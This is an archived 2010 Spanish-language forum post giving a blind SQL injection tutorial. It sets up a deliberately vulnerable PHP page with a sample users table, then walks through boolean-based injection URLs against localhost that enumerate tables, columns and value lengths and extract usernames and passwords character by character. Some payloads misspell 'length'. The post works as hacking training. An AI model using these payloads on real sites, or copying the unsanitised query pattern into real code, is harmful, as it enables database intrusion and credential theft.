Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Fakedo0r en Febrero 27, 2010, 10:07:01 AM

Título: Blind Sql Inyeccion by El Gran Gauson
Publicado por: Fakedo0r en Febrero 27, 2010, 10:07:01 AM
Blind SQL Inyection



Autor:El Gran Guasón



Indice:


0x01:Introduccion
0x02:Como funcionan los ataques Blind SQL Inyection
0x03:Creando un index vulnerable
0x04:Sacando tablas
0x05:Sacar el numero de registro de una tabla
0x06:Sacando columnas de las tablas
0x07:Sacando la longitud de los valores
0x08:Sacar el valor real de una contraseña u otro dato




0x01:Introduccion

Hola a todos o nadie quizas ......... En este manual veremos como explotar paginas webs que sean
vulnerables a Blind SQL Inyection.Tratare de explicar todos los detalles.De como saber si es vulnerable hasta el valor de una contraseña........


0x02:Como funciona los ataques Blind SQL Inyection

Los ataques Blind SQL Inyection a diferencia de los ataques comunes de SQL , este se carateriza por ser un ataque a ciegas. Osea no nos devuelve nada al ejecutar la sentencia sino que la pagina queda igual o da un malefico error. Cuando la pagina se queda igual puede ser un valor positivo pero eso es algo que veremos en este momento.


0x03:Creando un index vulnerable

Para poder practicar les recomiendo Easy PHP , pueden buscarlo en google , descargarlo e instalarlo obviamente xD.Pero creo que lo tengo en algun lado de mi blog.
Ok , a continuacion veran un index vulnerable.



Language: PHP
=======================index.php==============================================
<?php 
$host 
'localhost'
$dbuser 'root'
$dbname 'test'
$db mysql_connect($host$dbuser); 
mysql_select_db($dbname,$db); 
$sql "SELECT * FROM users WHERE id=".$_GET['id']; 
$query mysql_query($sql); 
if(@
mysql_num_rows($query)==0){ 
die(
'Cagate! :('); 

$result=@mysql_fetch_row($query); 
echo 
"<h2><center>Blind SQL Injection<br>Ejemplos<br><br>"
echo 
"<font color='#FF0000'>user_id: </font>".$result[0]."<br>"
echo 
"<font color='#FF0000'>username: </font>".$result[1]."<br>"
// echo "password: ".$result[2]."<br>"; 
echo "</h2></center>"
die();
?>

===========================================================================


====

Y los datos para la consola sql



Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)




INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');




oK , ahora verifiquen que hayan hecho todo bien de lo contrario se les mostrara como 400 errores .



0x04:Sacando tablas


Ok , ahora vamos a sacar las tablas mediante la siguiente sentencia haciendo de cuenta de que la web atacada es http://127.0.0.1/index.php que vendria a ser su web local con el index del capitulo anterior.

http://127.0.0.1/index.php?id=1+AND (SELECT (COUNT(*)) FROM idiotas)

Pues esta sentencia nos da un valor falso diciendo Cagate. Pero si probamos con un valor positivo.


http://127.0.0.1/index.php?id=1+AND (SELECT (COUNT(*)) FROM users)

La pagina se queda en su lugar o mas bien nos dio un resultado positivo ya que si existe la tabla
users


0x05:Sacar el numero de registro de una tabla


Nice , ahora vamos a sacar el numero de registro de una tabla . En este caso vamos a sacar el numero de registro de la tabla users. Para hacerlo seria de la siguiente manera


http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) > 5

Este consulta no dara un resultado negativo ya que la tabla users solo contiene 4 registros y
4 > 5


Entonces iremos probando asi



http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) = 1 (Negativo)

http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) = 2 (Negativo)

http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) = 3 (Negativo)

http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) = 4 (Positivo)


Ok , viendo que 4 = 4 , es obvio que la tabla users contiene 4 registros.........




0x06:Sacando columnas de las tablas


Entonces ya es hora de ir sacando las columnas de la tabla users.Para hacerlo deberian hacer esto.


http://127.0.0.1/index.php?id=1+AND(SELECT Count(idiotas) FROM users)


Esta consulta nos daria negativa ya que no existe ninguna columna llamada idiotas en la tabla users


Ahora veamos con las siguientes


http://127.0.0.1/index.php?id=1+AND(SELECT Count(name) FROM users)


Esta consulta nos daria positiva ya que si hay una columna llamada name que vendria a se como el
nombre los usuarios.Y ahora con esta


http://127.0.0.1/index.php?id=1+AND(SELECT Count(password) FROM users)

Ok , nos dio positiva porque si existe una columna llamada password en la tabla users que vendria
ser la contraseña.


0x07:Sacando la longitud de los valores


Bien ahora vamos a aprender a sacar la longitud de los valores de la columna name y password de la
tabla users.

Para sacar la longitud del primer valor de la columna name seria asi

http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) > 7

Pues no da un resultado negativo ya que 6 no es mayor que siete que vendria a ser "guason"
Entonces para ir descartando seria asi:


http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 1 (Negativo)

http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 2 (Negativo)

http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 3 (Negativo)

http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 4 (Negativo)

http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 5 (Negativo)

http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 6 (Positivo)


Ok , entonces ya podemos deducir que 6 es el numero de caracteres que contiene "guason" que
vendria a ser el primer valor de la columna name de la tabla users.

Para sacar el password seria asi:


http://127.0.0.1/index.php?id=1+AND(SELECT lenght(password) FROM users where id=1) > 4

Pues esta consulta nos daria un resultado negativo porque 3 no es mayor a 4.Porque el primer valor
de la columna password de la tabla users es "123". Entonces para ir descartando seria asi:


http://127.0.0.1/index.php?id=1+AND(SELECT lenght(password) FROM users where id=1) = 1 (Negativo)
http://127.0.0.1/index.php?id=1+AND(SELECT lenght(password) FROM users where id=1) = 2 (Negativo)
http://127.0.0.1/index.php?id=1+AND(SELECT lenght(password) FROM users where id=1) = 3 (Positivo)

Nice , entonces podemos deducir que el primer valor de la columna password de la tabla users
contiene 3 caracteres que en realidad serian "123".

Para ir sacando los otros usuarios solo tendrian que cambiar el 1 por numero del 1 al 4 porque
la tabla users solo contiene 4 registros.Ejemplo para sacar otro usuario seria


http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=2) = 1 (Negativo)


Eso seria todo.


0x08:Sacar el valor real de una contraseña u otro dato


Muy bien ahora bien la mejor parte aunque tambien la peor si no tenes una tool automatizadora.
Entonces para sacar la primera letra o numero o lo que sea del primer valor de la columna de la
tabla users , seria asi:

http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),1,1)) =
103


Lo que hice fue convertir una letra "g" a ascii dandome esto "103".
Entonces esta consulta nos da un valor positivo porque el primer letra o numero o lo que sea del
primer valor de la columna name de la tabla users es "g" ya que el primer valor de la columna name
de la tabla users es "guason".
Para sacar todo seria asi.




http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),2,1))= 117
http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),3,1))= 97
http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),4,1))= 115
http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),5,1))= 111
http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),6,1))= 110

Como todo estas consultas me dieron positivas podemos concluir que:


103 = g
117 = u
97 = a
115 = s
111 = o
110 = n

Todo esto si lo juntamos nos da "guason" entonces ya sacamos el el primer valor de la columna
name de la tabla users.

Ahora para la contraseña seria asi



http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),1,1)) = 49
http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),2,1)) = 50
http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),3,1)) = 51

Como todas estas consultas me dieron positivas podemos concluir que :


49 = 1
50 = 2
51 = 3


Entonces si juntamos todos estos datos positivos en su orden , nos daria "123" que vendria a ser
el valor de la columna password de la tabla users , claro como dice su id solo sacamos el primer valor
que vendria a ser el admin.Para sacar otros usuarios seria asi cambiando el 1 del id por un numero
del 1 al 4.Un ejemplo seria asi:


http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT password FROM users where id=2),1,1)) = 49

Dando un valor positivo ya que el segundo valor de la columna password de la tabla users , su primer
caracter es 1.Porque en realidad el valor real de la columna password de tabla user es "11".